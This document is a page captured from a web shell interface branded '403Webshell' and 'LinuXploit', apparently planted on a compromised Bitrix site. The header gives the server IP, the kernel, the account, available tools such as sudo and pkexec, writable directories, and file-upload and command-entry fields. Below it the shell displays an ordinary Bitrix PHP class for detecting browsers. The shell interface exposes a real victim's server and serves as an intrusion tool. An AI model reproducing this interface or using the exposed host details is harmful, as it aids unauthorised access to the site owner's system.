403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/web/useragent/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/web/useragent/browser.php
<?php

/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2021 Bitrix
 */

namespace Bitrix\Main\Web\UserAgent;

use Bitrix\Main;
use Bitrix\Main\DI;

class Browser
{
	protected $name;
	protected $platform;
	protected $deviceType = DeviceType::UNKNOWN;
	protected $userAgent;

	/**
	 * @param string|null $name
	 * @param string|null $platform
	 * @param int|null $deviceType
	 */
	public function __construct(?string $name = null, ?string $platform = null, ?int $deviceType = null)
	{
		$this->name = $name;
		$this->platform = $platform;
		if ($deviceType !== null)
		{
			$this->deviceType = $deviceType;
		}
	}

	/**
	 * @return string|null
	 */
	public function getName(): ?string
	{
		return $this->name;
	}

	/**
	 * @param string|null $name
	 * @return Browser
	 */
	public function setName(?string $name): Browser
	{
		$this->name = $name;
		return $this;
	}

	/**
	 * @return string|null
	 */
	public function getPlatform(): ?string
	{
		return $this->platform;
	}

	/**
	 * @param string|null $platform
	 * @return Browser
	 */
	public function setPlatform(?string $platform): Browser
	{
		$this->platform = $platform;
		return $this;
	}

	/**
	 * @return int
	 */
	public function getDeviceType(): int
	{
		return $this->deviceType;
	}

	/**
	 * @param int $deviceType
	 * @return Browser
	 */
	public function setDeviceType(int $deviceType): Browser
	{
		$this->deviceType = $deviceType;
		return $this;
	}

	/**
	 * @return string|null
	 */
	public function getUserAgent(): ?string
	{
		return $this->userAgent;
	}

	/**
	 * @param string|null $userAgent
	 * @return Browser
	 */
	public function setUserAgent(?string $userAgent)
	{
		$this->userAgent = $userAgent;
		return $this;
	}

	/**
	 * @param string|null $userAgent
	 * @return Browser
	 */
	public static function detect(?string $userAgent = null): Browser
	{
		$serviceLocator = DI\ServiceLocator::getInstance();

		if($serviceLocator->has('main.browserDetector'))
		{
			$detector = $serviceLocator->get('main.browserDetector');
		}
		else
		{
			$detector = new Detector();
		}

		if ($userAgent === null)
		{
			$userAgent = Main\Context::getCurrent()->getServer()->getUserAgent();
		}

		return $detector->detectBrowser($userAgent);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit